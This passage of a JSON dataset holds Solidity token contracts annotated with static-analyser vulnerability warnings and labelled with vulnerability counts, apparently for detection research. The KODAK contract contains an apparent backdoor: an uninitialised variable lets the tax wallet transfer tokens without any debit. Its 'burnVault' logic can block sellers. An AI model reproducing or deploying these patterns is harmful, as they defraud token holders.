'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 9c9d076\n\t\t\t\t// reentrancy-eth | ID: a9d8f59\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9c9d076\n\t\t\t\t\t// reentrancy-eth | ID: a9d8f59\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a9d8f59\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a9d8f59\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a9d8f59\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9c9d076\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a9d8f59\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a9d8f59\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9c9d076\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9c9d076\n\t\t// reentrancy-events | ID: f57bc6e\n\t\t// reentrancy-benign | ID: b754702\n\t\t// reentrancy-eth | ID: a9d8f59\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2c3d771): HMM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2c3d771: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9c9d076\n\t\t// reentrancy-events | ID: f57bc6e\n\t\t// reentrancy-eth | ID: a9d8f59\n\t\t// arbitrary-send-eth | ID: 2c3d771\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2817e33): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2817e33: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d7ce135): HMM.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d7ce135: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8d83569): HMM.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8d83569: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1e90e0a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1e90e0a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 2817e33\n\t\t\t// reentrancy-eth | ID: 1e90e0a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 2817e33\n\t\t// unused-return | ID: 8d83569\n\t\t// reentrancy-eth | ID: 1e90e0a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2817e33\n\t\t// unused-return | ID: d7ce135\n\t\t// reentrancy-eth | ID: 1e90e0a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2817e33\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1e90e0a\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 65c4cf4): HMM.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 65c4cf4: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 65c4cf4\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d8df3ea): HMM.withdrawETH(address,uint256).to lacks a zerocheck on \t to.transfer(amount)\n\t// Recommendation for d8df3ea: Check that the address is not zero.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3fe7d16): HMM.withdrawETH(address,uint256) sends eth to arbitrary user Dangerous calls to.transfer(amount)\n\t// Recommendation for 3fe7d16: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function withdrawETH(address payable to, uint256 amount) external {\n require(_msgSender() == _taxWallet);\n\n require(address(this).balance >= amount, \"Insufficient ETH balance\");\n\n\t\t// missing-zero-check | ID: d8df3ea\n\t\t// arbitrary-send-eth | ID: 3fe7d16\n to.transfer(amount);\n }\n}\n",
"file_name": "solidity_code_1078.sol",
"size_bytes": 21547,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ncontract KODAK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n string private constant _name = unicode\"The Eastman Kodak Company\";\n\n string private constant _symbol = unicode\"KODAK\";\n\n\t// WARNING Optimization Issue (constable-states | ID: aab2915): KODAK._initialBuyTax should be constant \n\t// Recommendation for aab2915: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 7;\n\n\t// WARNING Optimization Issue (constable-states | ID: a48f1a9): KODAK._initialSellTax should be constant \n\t// Recommendation for a48f1a9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ffa334): KODAK._finalBuyTax should be constant \n\t// Recommendation for 9ffa334: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d0ecd7): KODAK._finalSellTax should be constant \n\t// Recommendation for 0d0ecd7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 75c0814): KODAK._reduceBuyTaxAt should be constant \n\t// Recommendation for 75c0814: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 575bb10): KODAK._reduceSellTaxAt should be constant \n\t// Recommendation for 575bb10: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae6ea7b): KODAK._preventSwapBefore should be constant \n\t// Recommendation for ae6ea7b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 739a1f5): KODAK._taxSwapThreshold should be constant \n\t// Recommendation for 739a1f5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e63060f): KODAK._maxTaxSwap should be constant \n\t// Recommendation for e63060f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private immutable uniswapV2Router;\n\n struct BurnVault {\n uint256 burnV2Index;\n uint256 burnUsd;\n uint256 burnPrice;\n }\n\n uint256 private maxVaultBurn;\n\n mapping(address => BurnVault) private burnVault;\n\n\t// WARNING Optimization Issue (constable-states | ID: 517f602): KODAK.burnActiveVault should be constant \n\t// Recommendation for 517f602: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2038765): KODAK.burnActiveVault is never initialized. It is used in KODAK._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2038765: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnActiveVault;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9e95445): KODAK._taxWallet should be immutable \n\t// Recommendation for 9e95445: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x87b54265816D1Ed614e704151991b712Cb88CE43);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 913122d): KODAK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 913122d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 16646b3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 16646b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 691a676): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 691a676: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 16646b3\n\t\t// reentrancy-benign | ID: 691a676\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 16646b3\n\t\t// reentrancy-benign | ID: 691a676\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1fd333f): KODAK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1fd333f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 691a676\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 16646b3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 50ebb19): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 50ebb19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b274275): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b274275: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6287765): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6287765: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapPair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n if (limitsInEffect) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n _buyCount++;\n }\n\n if (to == uniswapPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 50ebb19\n\t\t\t\t// reentrancy-benign | ID: b274275\n\t\t\t\t// reentrancy-eth | ID: 6287765\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 50ebb19\n\t\t\t\t\t// reentrancy-eth | ID: 6287765\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: b274275\n maxVaultBurn = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapPair) {\n BurnVault storage burnVlt = burnVault[to];\n\n if (from == uniswapPair) {\n if (burnVlt.burnV2Index == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: b274275\n burnVlt.burnV2Index = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnVault storage burnVltData = burnVault[from];\n\n if (\n burnVlt.burnV2Index == 0 ||\n burnVltData.burnV2Index < burnVlt.burnV2Index\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: b274275\n burnVlt.burnV2Index = burnVltData.burnV2Index;\n }\n }\n } else {\n BurnVault storage burnVltData = burnVault[from];\n\n\t\t\t\t// reentrancy-benign | ID: b274275\n burnVltData.burnUsd = burnVltData.burnV2Index.sub(maxVaultBurn);\n\n\t\t\t\t// reentrancy-benign | ID: b274275\n burnVltData.burnPrice = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 50ebb19\n\t\t// reentrancy-eth | ID: 6287765\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 6287765\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 6287765\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 50ebb19\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2038765): KODAK.burnActiveVault is never initialized. It is used in KODAK._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2038765: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnActiveVault.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6287765\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 50ebb19\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 50ebb19\n\t\t// reentrancy-events | ID: 16646b3\n\t\t// reentrancy-benign | ID: b274275\n\t\t// reentrancy-benign | ID: 691a676\n\t\t// reentrancy-eth | ID: 6287765\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n receive() external payable {}\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 50ebb19\n\t\t// reentrancy-events | ID: 16646b3\n\t\t// reentrancy-eth | ID: 6287765\n _taxWallet.transfer(amount);\n }\n\n function transferStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 405ab9f): KODAK.openTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 405ab9f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 447a36a): KODAK.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 447a36a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5ac323e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5ac323e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-eth | ID: 5ac323e\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 447a36a\n\t\t// reentrancy-eth | ID: 5ac323e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 405ab9f\n\t\t// reentrancy-eth | ID: 5ac323e\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 5ac323e\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10780.sol",
"size_bytes": 22926,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address private _owner;\n\n 